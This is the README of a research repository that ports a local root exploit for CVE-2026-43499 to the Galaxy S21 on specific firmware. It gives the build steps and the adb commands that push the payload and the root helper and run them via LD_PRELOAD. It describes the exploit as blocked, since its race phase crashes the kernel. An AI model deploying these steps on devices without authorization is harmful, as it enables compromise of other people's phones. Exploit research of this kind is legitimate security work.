IonStack_S21 — CVE-2026-43499-Exploit-Port für Galaxy S21 (SM-G991B)

Gerätespezifische IonStack-Nutzlast für das Samsung Galaxy S21 (o1s) auf Firmware G991BXXSJHZC2. Ermöglicht flüchtigen Root-Zugriff über einen LD_PRELOAD-Exploit + call_usermodehelper-Root-Helper-Daemon (gleiche Form wie IonStack-S22U / IONSTACK-S22). Status: Forschung — blockiert, siehe RESEARCH.md.

Basiert auf der IonStack-CVE-2026-43499-Implementierung, veröffentlicht in NebuSec/CyberMeowfia (Upstream b850d3bddc74c3328d5fbcc0568d21962b55d949) und BuSung-dev/CVE-2026-43499-S25U, mit Dank an F-19-F/IonStackQuest3. Die Upstream-Apache-Lizenz 2.0 ist in LICENSE beibehalten (siehe NOTICE).

Layout

Makefile                  build (NDK r27+, ANDROID_NDK_HOME)
src/                      exploit source (o1s profile only)
src/targets/o1s-G991BXXSJHZC2/  target.h + p0_fingerprint.h
src/kernelsnitch/         mm_struct leak (futex hash collision)
tools/                    p0 fingerprint helper
RESEARCH.md               research notes (geometry, verdicts)

Build

export ANDROID_NDK_HOME=/path/to/android-ndk
make clean all
# SLIDE_WRITER_SEL=1|2|3 selects mcast/sigreturn(default)/xattr writers.
# Unset selects the experimental pselect writer (see RESEARCH.md).

Ausgaben (build/o1s-G991BXXSJHZC2/): cve-2026-43499 (LD_PRELOAD-Nutzlast), cve-2026-43499-app.so (App-Nutzlast), cve-2026-43499-root (Root-Helper).

Bereitstellung & Ausführung

adb push build/o1s-G991BXXSJHZC2/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
# on success:
/adb shell "/data/local/tmp/cve-2026-43499-root -c 'id; getenforce'"

Root (falls erreicht) besteht nur bis zum Neustart; es wird nichts geflasht.

Status / Warnungen

• Blockiert, mit Proofs geparkt — siehe RESEARCH.md für den vollständigen Bericht. Die Race-Phase verursacht eine Kernel-Panik (sched_setattr → rt_mutex_adjust_prio_chain → _raw_spin_trylock NULL-Fehler), ohne jemals den Stamp zu platzieren: Das 8-Byte-lock-Feld liegt in einer Copy-Lücke, die kein untersuchter blockierender Syscall abdeckt (disasm-verifizierte Pro-Syscall-Tiefenkarte in RESEARCH.md). Das Pipe-Reclaim-Gate verfehlt systematisch (0/0).
• Timing-sensitiv; Kernel-Paniken sind zu erwarten. Für saubere Slabs neu starten, das Gerät während der Ausführung im Leerlauf halten. /data/local/tmp wird beim Neustart gelöscht — Binärdateien nach jedem Boot erneut pushen.
• Nur auf Geräten verwenden, die Sie besitzen oder für die Sie ausdrücklich autorisiert sind zu testen.